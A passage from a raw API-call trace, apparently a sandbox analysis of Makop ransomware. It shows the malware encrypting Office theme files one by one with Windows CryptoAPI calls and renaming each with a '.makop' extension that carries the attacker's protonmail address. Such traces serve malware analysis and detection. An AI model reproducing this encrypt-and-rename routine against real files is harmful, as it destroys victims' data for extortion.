hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.757] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.757] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.758] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.758] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.758] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.758] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.758] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8317, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x8317, lpOverlapped=0x0) returned 1 [0097.760] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x8320, dwBufLen=0x8320 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x8320) returned 1 [0097.761] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.761] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x8320, lpOverlapped=0x0) returned 1 [0097.761] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.761] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x83f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.761] SetEndOfFile (hFile=0x138) returned 1 [0097.769] GetProcessHeap () returned 0x48a0000 [0097.769] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.769] GetProcessHeap () returned 0x48a0000 [0097.769] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.769] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0097.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.770] CloseHandle (hObject=0x138) returned 1 [0097.770] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0097.771] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0097.771] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0097.771] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS") returned 60 [0097.771] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*") returned 64 [0097.771] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0097.771] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.772] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0097.772] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM") returned 69 [0097.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.776] GetProcessHeap () returned 0x48a0000 [0097.776] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.776] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.776] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.776] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0097.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.782] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.782] GetProcessHeap () returned 0x48a0000 [0097.782] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0097.782] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0097.782] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.782] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0097.782] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.783] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.783] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.783] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.783] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.783] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.783] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.783] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.783] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1015d, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1015d, lpOverlapped=0x0) returned 1 [0097.786] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x10160, dwBufLen=0x10160 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x10160) returned 1 [0097.787] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.787] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10160, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x10160, lpOverlapped=0x0) returned 1 [0097.788] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.788] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x10224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.788] SetEndOfFile (hFile=0x138) returned 1 [0097.795] GetProcessHeap () returned 0x48a0000 [0097.795] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0097.795] GetProcessHeap () returned 0x48a0000 [0097.796] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.796] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0097.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.797] CloseHandle (hObject=0x138) returned 1 [0097.797] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0097.797] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF") returned 69 [0097.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.798] GetProcessHeap () returned 0x48a0000 [0097.798] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.798] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.798] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.798] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0097.802] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.802] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.802] GetProcessHeap () returned 0x48a0000 [0097.802] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0097.802] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0097.802] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.802] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0097.803] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.803] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.803] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.803] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.803] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.804] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.804] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.804] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1ce, lpOverlapped=0x0) returned 1 [0097.804] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1d0) returned 1 [0097.804] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.804] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1d0, lpOverlapped=0x0) returned 1 [0097.804] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.804] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.804] SetEndOfFile (hFile=0x138) returned 1 [0097.811] GetProcessHeap () returned 0x48a0000 [0097.811] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0097.811] GetProcessHeap () returned 0x48a0000 [0097.812] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.812] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0097.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.819] CloseHandle (hObject=0x138) returned 1 [0097.819] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0097.819] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0097.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.821] GetProcessHeap () returned 0x48a0000 [0097.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.821] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.821] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.821] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.825] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.826] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.826] GetProcessHeap () returned 0x48a0000 [0097.826] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.826] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.826] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.826] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.826] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.826] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.827] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.827] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.827] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.827] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.827] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.827] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.827] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9ac, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x9ac, lpOverlapped=0x0) returned 1 [0097.827] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x9b0) returned 1 [0097.828] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.828] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x9b0, lpOverlapped=0x0) returned 1 [0097.828] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.828] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.828] SetEndOfFile (hFile=0x138) returned 1 [0097.835] GetProcessHeap () returned 0x48a0000 [0097.835] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.835] GetProcessHeap () returned 0x48a0000 [0097.835] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.835] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0097.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.839] CloseHandle (hObject=0x138) 